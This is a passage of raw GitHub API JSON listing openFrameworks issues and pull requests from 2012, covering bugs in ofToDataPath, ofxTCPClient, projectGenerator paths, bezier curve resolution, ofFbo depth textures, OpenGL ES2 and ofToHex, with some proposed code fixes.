windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"cf9ec647fbc78faae05cb2d11598f79c"'), ('date', 'Tue, 29 May 2012 19:27:10 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-30T19:43:55Z","body":"On 'update', PG should respect existing custom include paths, source files, linker flags and project options (such as optimization settings).\r\n\r\nOR\r\n\r\nXcode project should read and respect `OTHER_LDFLAGS` and `HEADER_SEARCH_PATHS`, and add `OTHER_CFLAGS` from Project.xcconfig; projectGenerator should leave these settings alone unless it figures out they need to be adjusted (this is probably going to be difficult).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1217,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1217","assignee":null,"title":"projectGenerator update doesn't respect existing project settings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-04-24T21:03:44Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269431,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-02T10:19:07Z","body":"Since I don't want to derail #484 further, this issue deals with the implementation of a deprecation mechanism.\r\nBased on [this](http://stackoverflow.com/questions/295120/c-mark-as-deprecated), I made an OFDEPRECATED preproc macro.\r\n\r\nQUESTION: How do I correctly #ifdef for MacOS/XCode4/llvm?\r\n\r\nCould people test this on different platforms? On linux this works. \r\n\r\n\t\ttestApp.h:\r\n\r\n\t\t#pragma once\r\n\r\n\t\t#ifdef __GNUC__\r\n\t\t// maybe __clang__ for checking against llvm/xcode4?\r\n\t\t#define OFDEPRECATED(message, func) func __attribute__ ((deprecated(message)))\r\n\t\t#elif defined(_MSC_VER)\r\n\t\t#define OFDEPRECATED(message, func) __declspec(deprecated(message)) func\r\n\t\t#else\r\n\t\t#pragma message(\"WARNING: You need to implement DEPRECATED for this compiler\")\r\n\t\t#define OFDEPRECATED(message, func) func\r\n\t\t#endif\r\n\r\n\t\tand \r\n\r\n\t\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\r\n\t\t\t\tOFDEPRECATED(\"This is an old function, don't use!\", void deprecatedFunction(void));\r\n\t\t\t\tOFDEPRECATED(\"Obsolete type, use T2!\", typedef int T1);\r\n\t\t\t\ttypedef int T2;\r\n\t\t\t\tOFDEPRECATED(\"This is an old variable, don't use!\", int oldvar3);\r\n\t\t\t\t//This breaks a bit cause it's used in the constructor of testApp, so always triggers.\r\n\r\n\t\t};\r\n\t\tOFDEPRECATED(\"old class!\", class oldClass {\r\n\t\t\tpublic:\r\n\t\t\t\toldClass();\r\n\t\t\t\tvirtual ~oldClass();\r\n\t\t});\r\n\r\n\t\ttestApp.cpp:\r\n\r\n\t\tvoid testApp::setup(){\r\n\t\t\tOFDEPRECATED(\"old string. Don't use\", string oldstring);\r\n\t\t\t// Uncomment these to trigger deprecation warnings\r\n\t\t//\tdeprecatedFunction();\r\n\t\t//\tT1 t1object = 5;\r\n\t\t//\toldstring = \"bla\";\r\n\t\t//\toldvar3=5;\r\n\t\t//\toldClass bla;\r\n\t\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1216","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1216,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1216","assignee":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Implement deprecation mechanism","labels":[],"closed_at":null,"created_at":"2012-04-24T21:03:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269429,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-30T19:43:14Z","body":"When using PG's 'update' functionality on apps are in paths with non-standard depths (in my case, `oF/apps/dir/subdir/subsubdir`) the OF_PATH and #include directives in the resulting Project.xcconfig don't match, which means oF projects won't compile:\r\n\r\n~~~~\r\n//THE PATH TO THE ROOT OF OUR OF PATH RELATIVE TO THIS PROJECT.\r\n//THIS NEEDS TO BE DEFINED BEFORE CoreOF.xcconfig IS INCLUDED\r\nOF_PATH = ../../../..\r\n\r\n//THIS HAS ALL THE HEADER AND LIBS FOR OF CORE\r\n#include \"../../../../../libs/openFrameworksCompiled/project/osx/CoreOF.xcconfig\"\r\n~~~~\r\n\r\nNote extra `../` in the `#include` path.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1215,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1215","assignee":null,"title":"projectGenerator sets incorrect path in Project.xcconfig","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-04-24T20:59:57Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269359,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T23:56:33Z","body":"i'm teaching a workshop right now and i feel like it's ridiculous that i need to explain pointers just to access video :)\r\n\r\nlet's add this!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202","comments":3,"milestone":null,"number":1202,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1202","assignee":null,"title":"ofVideoPlayer etc needs ofColor access","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-22T18:42:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4231092,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T17:34:24Z","body":"DO NOT PULL YET!\r\n\r\nHey all\r\n\r\nHere's the 'off-axis camera' setup we worked on at ScreenLab last weekend.\r\nIt allows you to:\r\n\r\n* Set lens offset on a camera\r\n* Calculate the camera parameters based on a 'view portal' defined by 3 points (top left, bottom left, bottom right)\r\n\r\nCurrently the changes involve editing ofBaseRenderer (and therefore all other renderers) to support lensOffset parameter (default 0,0). We could remove this since ofCamera doesn't actually use ofSetupScreenPerspective\r\n\r\nSo let's have a quick chat about what needs chaning to make this core friendly and then probably pull after 0071 release?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1201","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1201,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1201","assignee":null,"title":"Feature provocation pull request: ofCamera lens offset","labels":[],"closed_at":null,"created_at":"2012-04-22T15:55:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4230131,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1201.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1201","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1201.patch"}},{"updated_at":"2012-05-14T01:22:17Z","body":"I'm investigating the way to draw bezier curves / nurbs etc. with shaders, here is a list a links and information I found that can improve render times with OF. Any way I must admit I'm new to openGL & shaders so maybe someone can take this to implement maybe an add-on or maybe to added to the core.\r\n\r\n**Resolution Independent Curve Rendering using Programmable Graphics Hardware**\r\nhttp://research.microsoft.com/en-us/um/people/cloop/loopblinn05.pdf\r\n\r\n**Resolution independent GPU accelerated Curve & Font rendering**\r\n**GPU based Resolution Independent Font & Curve Rendering – initial Release**\r\nhttp://jausoft.com/blog/2011/04/01/resolution-independent-gpu-accelerated-curve-font-rendering/\r\nhttp://ramisantina.com/blog/?p=73\r\nhttp://vimeo.com/21810192\r\nhttp://jogamp.org/doc/gpunurbs2011/p70-santina.pdf\r\n\r\n**Curvy blues**\r\nhttp://www.mdk.org.pl/2007/10/27/curvy-blues\r\n\r\n**Vector drawing: OpenGL shaders and cairo & vector hardware tessellation**\r\nhttp://www.mdk.org.pl/2007/8/6/vector-drawing-opengl-shaders-and-cairo\r\n\r\n**ShivaVG & Random Access Rendering of Animated Vector Graphics**\r\nhttp://ivanleben.blogspot.com.es/2007/07/shivavg-open-source-ansi-c-openvg.html\r\nhttp://www.youtube.com/watch?v=mD8X-e5-sY4\r\nhttp://www.youtube.com/watch?v=U4USCfwORUg\r\nhttp://andrejas-atelier.com/ivan/IvanLebenHonsThesis.pdf\r\n\r\n**RAVG**\r\nhttp://research.microsoft.com/en-us/um/people/hoppe/proj/ravg/\r\n\r\n**NV Path Rendering Videos (seams only with nvidia)**\r\nhttp://developer.nvidia.com/nv-path-rendering-videos\r\n\r\n**Vector drawing: OpenGL polygon tessellation**\r\nhttp://www.mdk.org.pl/2007/8/16/vector-drawing-opengl-polygon-tessellation\r\nhttp://zrusin.blogspot.com.es/2006/07/hardware-accelerated-polygon-rendering.html\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190","comments":8,"milestone":null,"number":1190,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1190","assignee":null,"title":"Bezier Shaders & Vector openGL rendering","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-20T09:23:00Z","state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4207350,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:41:20Z","body":"ofSetCurveResolution is not changing the resolution using ofBezier nor ofBezierVertex (tested with ofScale is more easy to see the bug)\r\n\r\n ofFill();\r\n ofSetHexColor(0xFF9933);\r\n ofBeginShape();\r\n ofVertex(x0,y0);\r\n ofBezierVertex(x1,y1,x2,y2,x3,y3);\r\n ofEndShape();\r\n\r\nall works fine when using ofPath directly:\r\n\r\n ofPath curve;\r\n curve.setFillHexColor(0xFF000);\r\n curve.setCurveResolution(120);\r\n curve.moveTo(x0, y0);\r\n curve.bezierTo(x1,y1,x2,y2,x3,y3);\r\n curve.draw();\r\n\r\nmore: http://forum.openframeworks.cc/index.php/topic,9596.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1189,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1189","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofSetCurveResolution + ofBezierVertex bug","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-20T08:51:51Z","state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4206982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-01T04:10:23Z","body":"If you set up an ofFbo as follows...\r\n\r\n```cpp\r\n ofFbo::Settings s;\r\n s.width = 400;\r\n s.height = 400;\r\n s.textureTarget = GL_TEXTURE_2D;\r\n s.useDepth = true;\r\n s.depthAsTexture = true;\r\n s.dethInternalFormat = GL_DEPTH_COMPONENT24;\r\n```\r\n\r\n...then the colour texture's dimensions are set to be the next POTs up but the depth texture's dimensions don't seem to be. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186","comments":2,"milestone":null,"number":1186,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1186","assignee":null,"title":"ofFbo depthBufferTex can be inconsistent with colour texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-18T15:08:32Z","state":"open","user":{"url":"https://api.github.com/users/neilmendoza","gravatar_id":"3e46b12547e7bac19eb982bc512b19c4","login":"neilmendoza","id":818571,"avatar_url":"https://secure.gravatar.com/avatar/3e46b12547e7bac19eb982bc512b19c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4174070,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:44:27Z","body":"As mentioned here: http://forum.openframeworks.cc/index.php?topic=9107.0\r\nOpenGLES2 not working. It is always falls back to ES1. I tested it only on iPad2 with iOS 5.0.1.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1178,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1178","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"OpenGLES2 not working","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-16T11:19:36Z","state":"open","user":{"url":"https://api.github.com/users/erinnovations","gravatar_id":"29639bbeb3afdde8fb3c7e273e5e43c6","login":"erinnovations","id":253455,"avatar_url":"https://secure.gravatar.com/avatar/29639bbeb3afdde8fb3c7e273e5e43c6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4132608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-14T13:45:55Z","body":"in ofTexture::loadData we are doing:\r\n\r\n\r\n\t//------------------------ likely, we are uploading continuous data\r\n\tGLint prevAlignment;\r\n\tglGetIntegerv(GL_UNPACK_ALIGNMENT, &prevAlignment);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\r\nany reason for this? leaving the default works too. i've been working with a huge video and the transfer rates on some cards were super slow with ofTexture::loadData. even glDrawPixels was faster, i've finally used pbo's but later looking at ofTexture discovered this lines and i suspect that it could be the reason for loadData being slower, haven't tested it yet though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175","comments":0,"milestone":null,"number":1175,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1175","assignee":null,"title":"GL_UNPACK_ALIGNMENT 1 in ofTexture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-14T13:45:42Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4117762,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:39:22Z","body":"one returns the result (dot) the other performs in place (cross), i.e. overrides the contents\r\nThe two definitions are inconsistent\r\npropose rename `ofVec3f::dot` to become `ofVec3f::getDotted` in line with `ofVec3f::getCrossed`","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1174","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1174,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1174","assignee":null,"title":"bug : inconsistent API for ofVec3f::dot and ofVec3f::cross","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-13T17:09:38Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4108582,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-14T04:20:36Z","body":"If you pass a string containing non-ascii characters to ofToHex(), the non-ascii characters (with character codes above 127) will be output as ffffxxxx (it depends on the exact character value and the size of the int type on the platform you are compiling for).\r\nThe problem is due to an incorrect cast in the ostringstream operation inside the loop.\r\nInstead of directly casting the (signed) char from the input character to an unsigned int, the input character must first be cast to an unsigned char.\r\nIn other words, instead of:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) value[i];```\r\nit should be:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) ((unsigned char)value[i]);```\r\nor maybe even:\r\n``` out << setfill('0') << setw(2) << hex << static_cast(static_cast(value[i]));```\r\nif you prefer C++ style casts over C style casts. :)\r\n\r\nHTH\r\n/Jesper","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1173","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1173,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1173","assignee":null,"title":"ofToHex(string) is wrong for non-ascii 